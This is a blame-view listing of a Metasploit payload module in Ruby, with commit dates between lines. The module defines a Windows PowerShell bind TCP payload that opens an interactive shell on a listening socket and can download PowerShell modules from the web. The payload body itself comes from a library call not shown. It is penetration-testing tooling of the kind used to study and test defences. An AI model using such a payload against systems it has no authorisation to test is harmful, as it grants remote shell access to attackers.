Files
metasploit-gs/modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb
T

49 lines
1.5 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2015-05-05 14:24:21 +10:00
require 'msf/core/handler/bind_tcp'
2015-04-23 23:12:38 +01:00
require 'msf/base/sessions/powershell'
2015-05-13 17:26:21 +01:00
require 'msf/core/payload/windows/powershell'
2015-05-13 17:36:45 +01:00
require 'msf/core/handler/bind_tcp'
2016-03-08 14:02:44 +01:00
module MetasploitModule
CachedSize = 1518
include Msf::Payload::Single
2015-04-26 00:16:59 +01:00
include Rex::Powershell::Command
2015-05-13 17:26:21 +01:00
include Msf::Payload::Windows::Powershell
def initialize(info = {})
super(merge_info(info,
2015-04-26 09:30:41 +01:00
'Name' => 'Windows Interactive Powershell Session, Bind TCP',
2015-04-26 09:20:29 +01:00
'Description' => 'Interacts with a powershell session on an established socket connection',
2015-05-05 14:24:21 +10:00
'Author' => [
2015-04-26 00:16:59 +01:00
'Ben Turner', # benpturner
'Dave Hardy' # davehardy20
],
2015-05-05 14:24:21 +10:00
'References' => [
2015-04-26 00:16:59 +01:00
['URL', 'https://www.nettitude.co.uk/interactive-powershell-session-via-metasploit/']
],
'License' => MSF_LICENSE,
'Platform' => 'windows',
'Arch' => ARCH_CMD,
2015-04-23 14:43:08 +01:00
'Handler' => Msf::Handler::BindTcp,
2015-04-23 23:12:38 +01:00
'Session' => Msf::Sessions::PowerShell,
'RequiredCmd' => 'generic',
2015-05-05 14:24:21 +10:00
'Payload' => { 'Payload' => '' }
))
2015-05-05 14:24:21 +10:00
register_options( [
2015-04-26 00:16:59 +01:00
OptString.new('LOAD_MODULES', [ false, "A list of powershell modules seperated by a comma to download over the web", nil ]),
], self.class)
end
def generate
2015-05-13 17:26:21 +01:00
generate_powershell_code("Bind")
end
end